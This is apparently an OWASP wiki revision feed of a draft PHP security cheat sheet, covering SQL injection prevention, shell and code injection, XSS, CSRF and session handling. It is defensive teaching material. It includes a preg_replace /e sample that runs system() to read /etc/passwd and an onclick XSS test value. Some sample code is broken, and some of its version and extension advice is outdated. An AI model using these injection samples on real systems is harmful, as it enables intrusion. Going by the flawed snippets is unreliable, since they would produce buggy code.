                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165049</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165049"/>
				<updated>2013-12-21T18:51:01Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Strong warnings about using htmlspecialchars manually (bringing XSS prevention inline with SQLi prevention which warns against manual escaping)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP status on the web==&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things). &lt;br /&gt;
&lt;br /&gt;
PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed. &lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
===Everything is a string for a database===&lt;br /&gt;
